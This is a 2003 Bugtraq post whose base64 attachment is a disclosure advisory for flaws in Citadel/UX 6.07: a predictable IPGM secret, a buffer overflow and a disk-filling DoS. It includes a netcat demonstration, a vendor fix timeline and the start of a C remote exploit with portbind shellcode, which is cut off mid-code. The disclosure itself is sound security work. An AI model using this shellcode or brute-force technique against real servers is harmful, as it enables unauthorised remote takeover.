[30747] in bugtraq
Multiple vulnerabilites in Citadel/UX
daemon@ATHENA.MIT.EDU (Carl Livitt)
Tue Jul 15 16:42:13 2003
Message-Id: <200307150853.h6F8rDvN013897@mailserver2.hushmail.com>
Date: Tue, 15 Jul 2003 01:53:11 -0700
To: bugtraq@securityfocus.com
From: "Carl Livitt" <carllivitt@hush.com>
MIME-Version: 1.0
Content-type: multipart/mixed; boundary="Hush_boundary-3f13c0f7a93cb"
--Hush_boundary-3f13c0f7a93cb
Content-type: text/plain
There are remotely exploitable flaws in Citadel/UX BBS software. See
attached advisory for details and links to updated packages.
Regards,
Carl
--Hush_boundary-3f13c0f7a93cb
Content-type: text/plain; name="CLIVITT-2003-4 (Citadel).txt"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="CLIVITT-2003-4 (Citadel).txt"
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fCgogICAgICAgICAgICAgICAgU2VjdXJpdHkgVnVsbmVyYWJpbGl0eSBB
ZHZpc29yeQpfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX18KClByb2R1Y3Q6ICAgICAgICAgICAgICAgIENpdGFkZWwv
VVggQkJTClZ1bG5lcmFibGUgdmVyc2lvbnM6ICAgIDYuMDcgKHByb2JhYmx5IHByZXZpb3VzIHZl
cnNpb25zKQpOb24tdnVsbmVyYWJsZSB2ZXJzaW9uOiA2LjA4ClZlbmRvcjogICAgICAgICAgICAg
ICAgIENpdGFkZWwgKHd3dy5jaXRhZGVsLm9yZykKUGxhdGZvcm1zOiAgICAgICAgICAgICAgTGlu
dXgvVU5JWC9XaW4zMgpJbXBhY3Q6ICAgICAgICAgICAgICAgICBSZW1vdGUgY29kZSBleGVjdXRp
b24gLyBwcml2aWxlZ2UgZXNjYWxhdGlvbgpBZHZpc29yeTogICAgICAgICAgICAgICBDTElWSVRU
LTIwMDMtNApBdXRob3JzOiAgICAgICAgICAgICAgICBDYXJsIExpdml0dCAoY2FybGxpdml0dCBh
dCBodXNoIGRvdCBjb20pCgkJCWJyMDB0IChicjAwdCBhdCBibHVleW9uZGVyIGRvdCBjbyBkb3Qg
dWspCkRhdGU6ICAgICAgICAgICAgICAgICAgIEp1bHkgMTV0aCwgMjAwMwoKX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fCgpQcm9ibGVtIERlc2NyaXB0aW9uOgoKIENpdGFkZWwvVVggaXMgYSBCQlMgc2VydmVyIG9y
Z2FuaXplZCBpbnRvIGFyZWFzIGNhbGxlZCAicm9vbXMsIiBlYWNoCiBkZWRpY2F0ZWQgdG8gYSBw
YXJ0aWN1bGFyIHRvcGljLiBPbiBtb3N0IENpdGFkZWxzLCB1c2VycyBoYXZlIHRoZQogYWJpbGl0
eSB0byBjcmVhdGUgbmV3IHJvb21zLCB0aGVyZWJ5IHByb3ZpZGluZyBhbiBlbnZpcm9ubWVudCB0
aGF0CiBpcyBjb25zdGFudGx5IGFkYXB0aW5nIHRvIHRoZSBwZW9wbGUgd2hvIHBhcnRpY2lwYXRl
LgoKIFNldmVyYWwgcHJvYmxlbXMgZXhpc3QsIGZyb20gaW5mb3JtYXRpb24gbGVha2FnZSB0byBh
IGJ1ZmZlciBvdmVyZmxvdwogdGhhdCBjb3VsZCBhbGxvdyBjb21wbGV0ZSBjb250cm9sIG92ZXIg
YSB2dWxuZXJhYmxlIHNlcnZlci4KCl9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXwoKUHJvYmxlbSBEZXRhaWxzOgoK
IFRoZSBmb2xsb3dpbmcgcHJvYmxlbXMgaGF2ZSBiZWVuIGRpc2NvdmVyZWQ6CgogMSkgUG9vciBy
YW5kb20gbnVtYmVyIHNlZWRpbmcgbGVhZHMgdG8gcHJlZGljdGFibGUgbnVtYmVycyBiZWluZwog
ICAgZ2VuZXJhdGVkLiBUaGVzZSBudW1iZXJzIGFyZSB1c2VkIGFzIGF1dGhlbnRpY2F0aW9uIHRv
a2VucyBmb3IKICAgIGNlcnRhaW4gcHJvY2Vzc2VzIHdoaWNoLCB3aGVuIHN1YnZlcnRlZCwgY2Fu
IGxlYWQgdG8gYW4gYXR0YWNrZXIKICAgIGdhaW5pbmcgZWxldmF0ZWQgcHJpdmlsZWdlcyBvbiB2
dWxuZXJhYmxlIHN5c3RlbXMuCgogMikgSW5zdWZmaWNpZW50IGJvdW5kcyBjaGVja2luZyBpcyBw
ZXJmb3JtZWQgb24gc2V2ZXJhbCBidWZmZXJzIGluCiAgICB0aGUgc2VydmVyLiBUaGUgdnVsbmVy
YWJsZSBzZWN0aW9ucyBvZiB0aGUgc2VydmVyIGNhbiBvbmx5IGJlCiAgICBhY2Nlc3NlZCB3aXRo
IHN1ZmZpY2llbnQgYWNjZXNzIHJpZ2h0cywgYnV0IHdoZW4gYW4gYXR0YWNrZXIgY2FuCiAgICBz
dWNjZXNzZnVsbHkgZXhwbG9pdCAoMSkgYWJvdmUsIGl0IGJlY29tZXMgcG9zc2libGUgdG8gb3Zl
cndyaXRlCiAgICBkYXRhIG9uIHRoZSBzdGFjayBsZWFkaW5nIHRvIGV4ZWN1dGlvbiBvZiBhcmJp
dHJhcnkgY29kZS4KCiAzKSBObyBjaGVja2luZyBpcyBkb25lIG9uIHRoZSBhbW91bnQgb2YgZGF0
YSB3cml0dGVuIHRvIGEgQkJTIHVzZXJzJwogICAgYmlvZ3JhcGh5IGZpbGUuIFRodXMsIGl0IGlz
IHBvc3NpYmxlIHRvIHNlbmQgYSB2ZXJ5IGxhcmdlIHN0cmVhbQogICAgb2YgZGF0YSB0byBhIHZ1
bG5lcmFibGUgc2VydmVyLCBxdWlja2x5IGNvbnN1bWluZyBhbGwgZGlzayBzcGFjZS4KCgogRWFj
aCBvZiB0aGUgYWJvdmUgd2lsbCBiZSBkaXNjdXNzZWQgaW4gbW9yZSBkZXRhaWw6CgoKICgxKSBQ
b29yIHJhbmRvbSBzZWVkaW5nLgoKIFdoZW4gQ2l0YWRlbCBpcyBpbml0aWFsbHkgaW5zdGFsbGVk
LCBhICdzZWNyZXQga2V5JyBpcyBnZW5lcmF0ZWQgYnkKIHRoZSBzZXR1cCBwcm9ncmFtIHRoYXQg
Y2FuIGxhdGVyIGJlIHVzZWQgdG8gYXV0aGVudGljYXRlIHRvIHRoZQogc2VydmVyIGFzIGFuICdp
bnRlcm5hbCBwcm9ncmFtJy4gQW4gJ2ludGVybmFsIHByb2dyYW0nIGlzIGEgaGlnaGx5CiB0cnVz
dGVkIHN0YXRlIG9mIGF1dGhlbnRpY2F0aW9uIHdpdGggdGhlIHNlcnZlciB0aGF0IGlzIHVzZWQg
Zm9yIElQQwogKEludGVyLXByb2Nlc3MgQ29tbXVuaWNhdGlvbikuCgogVGhpcyAnaW50ZXJuYWwg
cHJvZ3JhbSBzZWNyZXQnIChoZXJlYWZ0ZXIgcmVmZXJyZWQgdG8gYXMgJ0lQR00nKSBpcwogYSBz
aWduZWQgMzIgYml0IG51bWJlciBnZW5lcmF0ZWQgYnkgYSBjYWxsIHRvIHJhbmQoMykuIEhlcmUg
aXMgdGhlCiBzb3VyY2UgY29kZSB0aGF0IHBlcmZvcm1zIHRoaXMgd29yazoKCglpZiAoY29uZmln
LmNfaXBnbV9zZWNyZXQgPT0gMCkgewoJCXNyYW5kKGdldHBpZCgpKTsKCQljb25maWcuY19pcGdt
X3NlY3JldCA9IHJhbmQoKTsKCX0KCiBUaGUgc2VlZCBmb3IgdGhlIHJhbmRvbWx5IGdlbmVyYXRl
ZCBJUEdNIGlzIGJhc2VkIG9uIHRoZSBQSUQgb2YgdGhlCiBzZXR1cCBwcm9jZXNzLCB3aGljaCBt
ZWFucyB0aGF0IGl0IGlzIGEgaGlnaGx5IHByZWRpY2F0YWJsZSBudW1iZXIuCiBBY2NvcmRpbmcg
dG8gdGhlIG1hbiBwYWdlIGZvciByYW5kKDMpOgoKICJUaGVzZSBzZXF1ZW5jZXMgYXJlIHJlcGVh
dGFibGUgYnkgY2FsbGluZyBzcmFuZCgpIHdpdGggdGhlIHNhbWUgc2VlZAogdmFsdWUuIgoKIFdo
aWNoIGJhc2ljYWxseSBtZWFucyB0aGF0IGlmIHRoZSBQSUQgdXNlZCBieSB0aGUgc2V0dXAgcHJv
Z3JhbSBpcwogZ3Vlc3NlZCBjb3JyZWN0bHksIGl0IGlzIHBvc3NpYmxlIHRvIGdlbmVyYXRlIHRo
ZSBJUEdNIHVzZWQgdG8KIGF1dGhlbnRpY2F0ZSB0byB0aGF0IENpdGFkZWwgc2VydmVyIGFuZCB1
c2UgcHJpdmlsZWdlZCBjb21tYW5kcyBvbiBpdC4KCiBBcyBQSURzIGFyZSB1c3VhbGx5IHNlcXVl
bnRpYWwgb24gbW9zdCBzeXN0ZW1zIChiYXJyaW5nIG9wZW5CU0QgYW5kCiBzb21lIG90aGVycyks
IGl0IGlzIHRyaXZpYWxseSBlYXN5IHRvIGJydXRlLWZvcmNlIHRoZSBJUEdNIGZvciBhbnkKIGdp
dmVuIENpdGFkZWwgc2VydmVyIGFzIGNhbiBiZSBzZWVuIGJ5IHRoaXMgc2ltcGxpc3RpYyBjb2Rl
IHNuaXBwZXQ6CgogCWZvcihzZWVkPTEwMDsgc2VlZCA8IDMwMDAwOyBzZWVkKyspIHsKCQlzcmFu
ZChzZWVkKTsKCQlpZih0cnlfSVBHTV9udW1iZXIocmFuZCgpKT09U1VDQ0VTUykgewoJCQlwcmlu
dGYoIldlIGd1ZXNzZWQgaXQhXG4iKTsKCQl9Cgl9CgogU3VjaCBhbiBvcGVyYXRpb24gY2FuIGJl
IHBlcmZvcm1lZCBpbiBhIGZldyBzZWNvbmRzIG9uIGEgZmFzdCBuZXR3b3JrLgoKCiAoMikgSW5z
dWZmaWNpZW50IGJvdW5kcyBjaGVja2luZwoKIE9uZSBvZiB0aGUgcHJpdmlsZWdlZCBvcGVyYXRp
b25zIHRoYXQgY2FuIGJlIHBlcmZvcm1lZCBieSBhbiAnaW50ZXJuYWwKIHByb2dyYW0nIGlzIHRo
YXQgb2YgaW1wb3J0aW5nIG5ldyBjb25maWd1cmF0aW9uIG9wdGlvbnMuIE9uY2UgYW4KIGF0dGFj
a2VyIGhhcyBhdXRoZW50aWNhdGVkIHVzaW5nIElQR00sIChzKWhlIGNhbiBjaGFuZ2UgdGhlIHdh
eSB0aGUKIEJCUyBvcGVyYXRlcywgYWRkIG5ldyBTeXNvcHMuLi4gcHJldHR5IG11Y2ggYW55dGhp
bmcuCgogVGhlIGZ1bmN0aW9ucyB0aGF0IHByb3ZpZGUgdGhpcyBpbXBvcnQgZmFjaWxpdHkgZG8g
bm90IGRvIHN1ZmZpY2llbnQKIGJvdW5kcyBjaGVja2luZyBvbiBpbnB1dCBidWZmZXJzIHdoaWNo
IGFyZSBsYXRlciBjb3BpZWQgdG8gc21hbGxlcgogY29uZmlndXJhdGlvbiBidWZmZXJzLCBsZWFk
aW5nIHRvIHRoZSBwb3NzaWJpbGl0eSBvZiBjYXJyeWluZyBvdXQgYQogYnVmZmVyIG92ZXJmbG93
IGF0dGFjay4KCiBGb3IgZXhhbXBsZSwgaGVyZSBpcyBhbiBleGFtcGxlIHNlc3Npb24gd2l0aCBh
IENpdGFkZWwgc2VydmVyIHRoYXQKIG92ZXJydW5zIGEgY29uZmlndXJhdGlvbiBidWZmZXI6CgoJ
Y2FybEBzb2w6fi9leHBsb2l0cy9yZXNlYXJjaC9CQlMvY2l0YWRlbD4gbmV0Y2F0IGxvY2FsaG9z
dCA1MDQKCTIwMCBzb2wgQ2l0YWRlbC9VWCBzZXJ2ZXIgcmVhZHkuCglJUEdNIDk5Mjc4MTk2Cgky
MDAgQXV0aGVudGljYXRlZCBhcyBhbiBpbnRlcm5hbCBwcm9ncmFtLgoJQVJUViBpbXBvcnQKCTQw
MCBzb2NrIGl0IHRvIG1lCglmbG9vcgoJTGluZSAxIEFueSBvbGQganVuawoJTGluZSAyIEFueSBv
bGQganVuawoJTGluZSAzIEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUEgKH4yOTggQSdzKQoJTGluZSA0IEFueSBvbGQganVuawoJTGluZSA1IEFueSBvbGQganVu
awoKIEF0IHRoaXMgcG9pbnQsIHRoZSBDaXRhZGVsIHNlcnZlciB3aWxsIGRpZSBhbmQgRUlQID0g
MHg0MTQxNDE0MS4gSXQgaXMKIG5vdCB0cml2aWFsIHRvIGV4cGxvaXQgdGhpcywgaG93ZXZlciwg
YXMgdGhlIHNlcnZlciBpcyBtdWx0aXRocmVhZGVkCiBhbmQgaXQgaXMgaGFyZCB0byBmaW5kIGEg
Zml4ZWQgbWVtb3J5IGFkZHJlc3MgdG8gc3RvcmUgc2hlbGxjb2RlLgoKIEFmdGVyIG11Y2ggaGVh
ZC1zY3JhdGNoaW5nLCB3ZSBkZXZlbG9wZWQgYSB0ZWNobmlxdWUgdGhhdCB3aWxsIHdvcmsKIGFs
bW9zdCAxMDAlIG9mIHRoZSB0aW1lLiBTZWUgdGhlIGF0dGFjaGVkIGV4cGxvaXQgc291cmNlLWNv
ZGUgZm9yIG1vcmUKIGRldGFpbHMuCgoKICgzKSBEb1MgYXR0YWNrCgogSXQgaXMgcG9zc2libGUg
Zm9yIGEgQ2l0YWRlbCB1c2VyIHRvIGFkZCBhIGJpb2dyYXBoeSB0byB0aGVpciBwcm9maWxlLgog
VGhlIHNlcnZlciBjb2RlIHRoYXQgaW1wb3J0cyB0aGlzIGJpb2dyYXBoeSBkb2VzIG5vIGNoZWNr
aW5nIG9mIHRoZQogYW1vdW50IG9mIGRhdGEgdGhhdCBpcyBpbnB1dCAoYW5kIHdyaXR0ZW4gc3Ry
YWlnaHQgb3V0IHRvIGEgZmlsZSksCiB0aGVyZWJ5IGxldHRpbmcgYSBtYWxpY2lvdXMgdXNlciBj
b25zdW1lIGFsbCBhdmFpbGFibGUgZGlzayBzcGFjZSBvbgogdGhlIGNpdGFkZWwgc2VydmVyOgoK
IAljYXJsQHNvbDp+L2V4cGxvaXRzL3Jlc2VhcmNoL0JCUy9jaXRhZGVsPiBuZXRjYXQgbG9jYWxo
b3N0IDUwNAoJMjAwIHNvbCBDaXRhZGVsL1VYIHNlcnZlciByZWFkeS4KCVVTRVIgYm9iCgkzMDAg
UGFzc3dvcmQgcmVxdWlyZWQgZm9yIGJvYgoJUEFTUyBib2IKCTIwMCBib2J8NHwzfDB8MTA3Njh8
MTd8MTA1ODE5NzMzOQoJRUJJTwoJNDAwCglBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQoJ
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEKCUFBQUFBQUFBLi4gYW5kIHNvIG9uLgoKIEV2
ZW50dWFsbHksIHRoaXMgd291bGQgdXNlIHVwIGFsbCBhdmFpbGFibGUgZGlzayBzcGFjZSwgZWZm
ZWN0aXZlbHkKIGNhdXNpbmcgYSBEb1MgaW4gdGhlIHZpY3RpbSBzZXJ2ZXIuCgogX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX18KClZlbmRvciBub3RpZmljYXRpb24gdGltZWxpbmU6CgoxNHRoIEp1bHkgMjAwMzogQ29u
dGFjdGVkIGF1dGhvciBieSBlbWFpbC4gQXBwcm94aW1hdGVseSAyIGhvdXJzIGxhdGVyLAogICAg
ICAgICAgICAgICAgaGUgaGFkIGNoZWNrZWQgZml4ZXMgaW50byBDVlMuCgoxNXRoIEp1bHkgMjAw
MzogUmVjZWl2ZWQgZW1haWwgZnJvbSBhdXRob3Igc3RhdGluZyB0aGF0IGEgbmV3IHZlcnNpb24g
d2FzCgkJYXZhaWxhYmxlLCBhbmQgaGUgaW5jbHVkZWQgdGhlIGZvbGxvd2luZyBjb21tZW50czoK
Ci0gVGhlIHJhbmRvbSBudW1iZXIgZ2VuZXJhdG9yIGlzIG5vdyBzZWVkZWQgZnJvbSAvZGV2L3Vy
YW5kb20sIG9yCiAgZnJvbSB0aGUgc3Vic2Vjb25kIHRpbWUtb2YtZGF5ICh0di50dl91c2VjKSBp
ZiAvZGV2L3VyYW5kb20gaXMKICBub3QgYXZhaWxhYmxlLgoKLSBUaGUgaXBnbV9zZWNyZXQgaXMg
c2V0IGF0IHNlcnZlciBzdGFydHVwIChhZnRlciBzZWVkaW5nIHRoZQogIHJhbmRvbSBudW1iZXIg
Z2VuZXJhdG9yKSwgYW5kIGNoYW5nZXMgYWZ0ZXIgdGhlIGV4ZWN1dGlvbiBvZiBhbnkKICBJUEdN
IGNvbW1hbmQgKHN1Y2Nlc3NmdWwgb3Igb3RoZXJ3aXNlKS4KCi0gSVBHTSBub3cgb25seSBydW5z
IG92ZXIgYSBsb2NhbCBjb25uZWN0aW9uIG9uIGEgVW5peCBkb21haW4gc29ja2V0LgogIEl0IHdp
bGwgbm90IHJ1biBvdmVyIHRoZSBuZXR3b3JrLgoKLSBBIGZhaWxlZCBJUEdNIGF1dGhlbnRpY2F0
aW9uIG5vdyBzbGVlcHMgZm9yIDUgc2Vjb25kcywgcmV0dXJucyBhbgogIGVycm9yIGNvZGUsIGFu
ZCBkaXNjb25uZWN0cyB0aGUgc2Vzc2lvbi4KCi0gVGhlIEVCSU8gY29tbWFuZCBub3cgaG9ub3Jz
IGNvbmZpZy5jX21heG1zZ2xlbiwgaW5zdGVhZCBvZgogIHBvdGVudGlhbGx5IG92ZXJydW5uaW5n
IHRoZSBob3N0IHN5c3RlbSdzIGRpc2sgY2FwYWNpdHkuCgotIE1hbnkgaW5zdGFuY2VzIG9mIHN0
cmNweSgpIGhhdmUgYmVlbiByZXBsYWNlZCB3aXRoIHNhZmVzdHJuY3B5KCkuCiAgVGhpcyBpcyBh
biBvbmdvaW5nIHByb2Nlc3Mgd2hpY2ggd2lsbCBjb250aW51ZS4KCl9fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fCgpV
cGRhdGVkIFBhY2thZ2VzOgoKIFZlcnNpb24gNi4wOCBpcyBub3cgYXZhaWxhYmxlIGluY29ycG9y
YXRpbmcgdGhlIGFib3ZlIGZpeGVzLiBJdCBjYW4gYmUKIGRvd25sb2FkZWQgYXQgdGhpcyBVUkw6
CgogaHR0cDovL3VuY2Vuc29yZWQuY2l0YWRlbC5vcmcvcHViL2NpdGFkZWwvY2l0YWRlbC11eC02
LjA4LnRhci5negoKX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fCgpBZHZpc29yeSBBdXRob3IgRGV0YWlsczoKCiBF
bWFpbDogY2FybCBhdCBodXNoIGRvdCBjb20KIEVtYWlsOiBicjAwdCBhdCBibHVleW9uZGVyIGRv
dCBjbyBkb3QgdWsKCiBQR1Aga2V5cyBhdmFpbGFibGUgb24gcmVxdWVzdC4KIApfX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX18KCkV4cGxvaXQgU291cmNlY29kZToKCi8qCiAgQ2l0YWRlbC9VWCA2LjA3IFJlbW90ZSBl
eHBsb2l0CiAgQnkgQ2FybCBMaXZpdHQsIEp1bHkgMjAwMwogIGNhcmxsaXZpdHQgYXQgaHVzaCBk
b3QgY29tCgogIFB1YmxpYyByZWxlYXNlIHZlcnNpb24gb2YgdGhlIElQR00gZXhwbG9pdC4gVGhp
cyBwcm9iYWJseSBoYXMgYnVncy4uLgogIGlmIHlvdSBmaXggdGhlbSwgcGxlYXNlIG1haWwgdGhl
bSBiYWNrIHRvIG1lIQoqLwojaW5jbHVkZSA8c3lzL3R5cGVzLmg+CiNpbmNsdWRlIDxzeXMvc3Rh
dC5oPgojaW5jbHVkZSA8c3lzL3NvY2tldC5oPgojaW5jbHVkZSA8bmV0L2lmLmg+CiNpbmNsdWRl
IDxuZXRpbmV0L2luLmg+CiNpbmNsdWRlIDxuZXRpbmV0L3RjcC5oPgojaW5jbHVkZSA8YXJwYS9p
bmV0Lmg+CiNpbmNsdWRlIDxzdGRpby5oPgojaW5jbHVkZSA8c3RyaW5nLmg+CiNpbmNsdWRlIDx1
bmlzdGQuaD4KI2luY2x1ZGUgPHNpZ25hbC5oPgojaW5jbHVkZSA8bmV0ZGIuaD4KI2luY2x1ZGUg
PHRpbWUuaD4KI2luY2x1ZGUgPHN0ZGFyZy5oPgoKLy8gSWYgeW91IGNoYW5nZSB0aGVzZSwgdGhp
bmdzIHdpbGwgcHJvYmFibHkgYnJlYWsuCiNkZWZpbmUgU0laIDQwOTYKI2RlZmluZSBMRU4gMjk4
CiNkZWZpbmUgUkVUIDB4YmZmZmFmMjAKI2RlZmluZSBDSVRBREVMX1BPUlQgNTA0CiNkZWZpbmUg
U0hFTExfUE9SVCA0NTI5NQojZGVmaW5lIExPQ0FMX05FVCgpCWlmKGxvY2FsTmV0KSB7bXlfc2xl
ZXAobmFub1NlY29uZHNUb1NsZWVwKTt9CiNkZWZpbmUgQ0hBTkNFX0NPVU5URVIgNQojZGVmaW5l
IE5PREVMQVlfRVJSIC0xCiNkZWZpbmUgU09DS0VUX0VSUiAtMgojZGVmaW5lIENPTk5FQ1RfRVJS
IC0zCiNkZWZpbmUgSE9TVF9OT1RfUkVTT0xWRUQgLTQKI2RlZmluZSBCUlVURV9GT1JDRV9FWEhB
VVNURUQgLTUKI2RlZmluZSBJTkNPUlJFQ1RfSVBHTV9TRUNSRVQgLTYKI2RlZmluZSBTSEVMTF9O
T1RfRk9VTkQgLTcKI2RlZmluZSBTVUNDRVNTIDEKI2RlZmluZSBGQUlMRUQgMAoKLy8gSSdtIHVz
aW5nIHByZXdyaXR0ZW4gc2hlbGxjb2RlIHRvZGF5Li4uIExhemluZXNzLCBJbXBhdGllbmNlLCBI
dWJyaXMhCi8vIC0tLS0tLS0tCi8vIGxpbnV4IHg4NiBzaGVsbGNvZGUgYnkgZVNEZWUgb2YgTmV0
cmljICh3d3cubmV0cmljLm9yZykKLy8gMjAwIGJ5dGUgLSBmb3JraW5nIHBvcnRiaW5kIHNoZWxs
Y29kZSAtIHBvcnQ9MHhiMGVmKDQ1Mjk1KQpjaGFyIHNoZWxsY29kZVtdPQoJIlx4MzFceGMwXHgz
MVx4ZGJceDMxXHhjOVx4NTFceGIxIgoJIlx4MDZceDUxXHhiMVx4MDFceDUxXHhiMVx4MDJceDUx
IgoJIlx4ODlceGUxXHhiM1x4MDFceGIwXHg2Nlx4Y2RceDgwIgoJIlx4ODlceGMxXHgzMVx4YzBc
eDMxXHhkYlx4NTBceDUwIgoJIlx4NTBceDY2XHg2OFx4YjBceGVmXHhiM1x4MDJceDY2IgoJIlx4
NTNceDg5XHhlMlx4YjNceDEwXHg1M1x4YjNceDAyIgoJIlx4NTJceDUxXHg4OVx4Y2FceDg5XHhl
MVx4YjBceDY2IgoJIlx4Y2RceDgwXHgzMVx4ZGJceDM5XHhjM1x4NzRceDA1IgoJIlx4MzFceGMw
XHg0MFx4Y2RceDgwXHgzMVx4YzBceDUwIgoJIlx4NTJceDg5XHhlMVx4YjNceDA0XHhiMFx4NjZc
eGNkIgoJIlx4ODBceDg5XHhkN1x4MzFceGMwXHgzMVx4ZGJceDMxIgoJIlx4YzlceGIzXHgxMVx4
YjFceDAxXHhiMFx4MzBceGNkIgoJIlx4ODBceDMxXHhjMFx4MzFceGRiXHg1MFx4NTBceDU3IgoJ
Ilx4ODlceGUxXHhiM1x4MDVceGIwXHg2Nlx4Y2RceDgwIgoJIlx4ODlceGM2XHgzMVx4YzBceDMx
XHhkYlx4YjBceDAyIgoJIlx4Y2RceDgwXHgzOVx4YzNceDc1XHg0MFx4MzFceGMwIgoJIlx4ODlc
eGZiXHhiMFx4MDZceGNkXHg4MFx4MzFceGMwIgoJIlx4MzFceGM5XHg4OVx4ZjNceGIwXHgzZlx4
Y2RceDgwIgoJIlx4MzFceGMwXHg0MVx4YjBceDNmXHhjZFx4ODBceDMxIgoJIlx4YzBceDQxXHhi
MFx4M2ZceGNkXHg4MFx4MzFceGMwIgoJIlx4NTBceDY4XHgyZlx4MmZceDczXHg2OFx4NjhceDJm
IgoJIlx4NjJceDY5XHg2ZVx4ODlceGUzXHg4Ylx4NTRceDI0IgoJIlx4MDhceDUwXHg1M1x4ODlc
eGUxXHhiMFx4MGJceGNkIgoJIlx4ODBceDMxXHhjMFx4NDBceGNkXHg4MFx4MzFceGMwIgoJIlx4
ODlceGYzXHhiMFx4MDZceGNkXHg4MFx4ZWJceDk5IjsKCi8vIFRoZXNlIGtpbmQgb2YgYXBwZWFy
ZWQgYXMgdGhlIGV4cGxvaXQgd2FzIGRldmVsb3BlZAp2b2lkIG15X3NlbmQoaW50LCBjaGFyICos
IC4uLik7CnZvaWQgbXlfcmVjdihpbnQpOwp2b2lkIG1ha2Vfc2hlbGxjb2RlKGNoYXIgKik7CnZv
aWQgbWFrZV9leHBsb2l0YnVmKGNoYXIgKik7CmludCBicnV0ZV9mb3JjZShpbnQpOwp2b2lkIHVz
YWdlKHZvaWQpOwp2b2lkIG15X3NsZWVwKGludCk7CnZvaWQgaW5jcmVhc2VfY2hhbmNlcyhpbnQs
aW50KTsKaW50IGNvbm5lY3RfdG9faG9zdChjaGFyICosIGludCk7CmludCBhdHRlbXB0X2V4cGxv
aXQodm9pZCk7CgovLyBBcyBkaWQgdGhlc2UuLi4gYWxsIGdsb2JhbCwgYXMgdGhleSBrZXB5IG1v
dmluZwovLyBiZXR3ZWVuIGZ1bmN0aW9ucyBhbmQgSSBncmV3IHNpY2sgb2YgaXQuLi4KaW50IGxv
Y2FsTmV0PTAsIGJ1ZkxlbkFkanVzdD0wOwppbnQgbmFub1NlY29uZHNUb1NsZWVwPTEwMDAwMDsK
aW50IFNFRURfU1RBUlQ9MTA7CmludCBTRUVEX01BWD0zMDAwMDsKaW50IE5VTV9BVFRFTVBUUz00
OwppbnQgUkVTUEFXTl9TTEVFUD0xMDsKaW50IHNlZWQ7CnN0cnVjdCB0aW1lc3BlYyB0Owp1bnNp
Z25lZCBsb25nIHJldEFkZHI9UkVUOwpjaGFyIGJ1ZltTSVpdLCBob3N0W1NJWl07CmludCBtYWdp
Y051bWJlcj0wLHNvY2ssYWRqdXN0UmV0PTAsY2gscmV0VmFsLGkscjsKZmRfc2V0IHJmZHM7Cgpt
YWluKGludCBhcmdjLCBjaGFyICoqYXJndikgewoJaW50IGV4cGxvaXRBdHRlbXB0cz0wOwoKCS8v
IHBhcnNlIGNvbW1hbmQtbGluZQoJd2hpbGUoKGNoPWdldG9wdChhcmdjLCBhcmd2LCAidDpsaTpz
OmhyOmE6QTpvOk86YjpCOm46UzoiKSkhPS0xKSB7CgkJc3dpdGNoKGNoKSB7CgkJCWNhc2UgJ3Qn
OgoJCQkJc3RybmNweShob3N0LCBvcHRhcmcsIFNJWi0xKTsKCQkJCWJyZWFrOwoJCQljYXNlICdp
JzoKCQkJCW1hZ2ljTnVtYmVyPWF0b2kob3B0YXJnKTsKCQkJCXByaW50ZigiWy1dIFVzaW5nIElQ
R00gc2VjcmV0OiAlZFxuIiwgbWFnaWNOdW1iZXIpOwoJCQkJYnJlYWs7CgkJCWNhc2UgJ2wnOgoJ
CQkJbG9jYWxOZXQ9MTsKCQkJCXByaW50ZigiWy1dIFVzaW5nIGxvY2FsIG5ldCBoYWNrXG4iKTsK
CQkJCWJyZWFrOwoJCQljYXNlICdzJzoKCQkJCW5hbm9TZWNvbmRzVG9TbGVlcD1hdG9pKG9wdGFy
Zyk7CgkJCQlwcmludGYoIlstXSBVc2luZyBzbGVlcCBjb3VudCBvZiAlZCB3aGVyZSBuZWNlc3Nh
cnlcbiIsIG5hbm9TZWNvbmRzVG9TbGVlcCk7CgkJCQlicmVhazsKCQkJY2FzZSAncic6CgkJCQly
ZXRBZGRyPXN0cnRvdWwob3B0YXJnLE5VTEwsMTYpOwoJCQkJcHJpbnRmKCJbLV0gVXNpbmcgUkVU
IGFkZHJlc3M6IDB4JTA4eFxuIiwgcmV0QWRkcik7CgkJCQlicmVhazsKCQkJY2FzZSAnYSc6CgkJ
CQlhZGp1c3RSZXQ9YXRvaShvcHRhcmcpOwoJCQkJcmV0QWRkcis9YWRqdXN0UmV0OwoJCQkJcHJp
bnRmKCJbLV0gVXNpbmcgUkVUIGFkZHJlc3M6IDB4JTA4eFxuIiwgcmV0QWRkcik7CgkJCQlicmVh
azsKCQkJY2FzZSAnQSc6CgkJCQlhZGp1c3RSZXQ9YXRvaShvcHRhcmcpOwoJCQkJcmV0QWRkci09
YWRqdXN0UmV0OwoJCQkJcHJpbnRmKCJbLV0gVXNpbmcgUkVUIGFkZHJlc3M6IDB4JTA4eFxuIiwg
cmV0QWRkcik7CgkJCQlicmVhazsKCQkJY2FzZSAnbyc6CgkJCQlidWZMZW5BZGp1c3Q9YXRvaShv
cHRhcmcpOwoJCQkJcHJpbnRmKCJbLV0gSW5jcmVhc2luZyBvdmVyZmxvdyBidWZmZXIgYnkgJWQg
Ynl0ZXNcbiIsIGJ1ZkxlbkFkanVzdCk7CgkJCQlicmVhazsKCQkJY2FzZSAnTyc6CgkJCQlidWZM
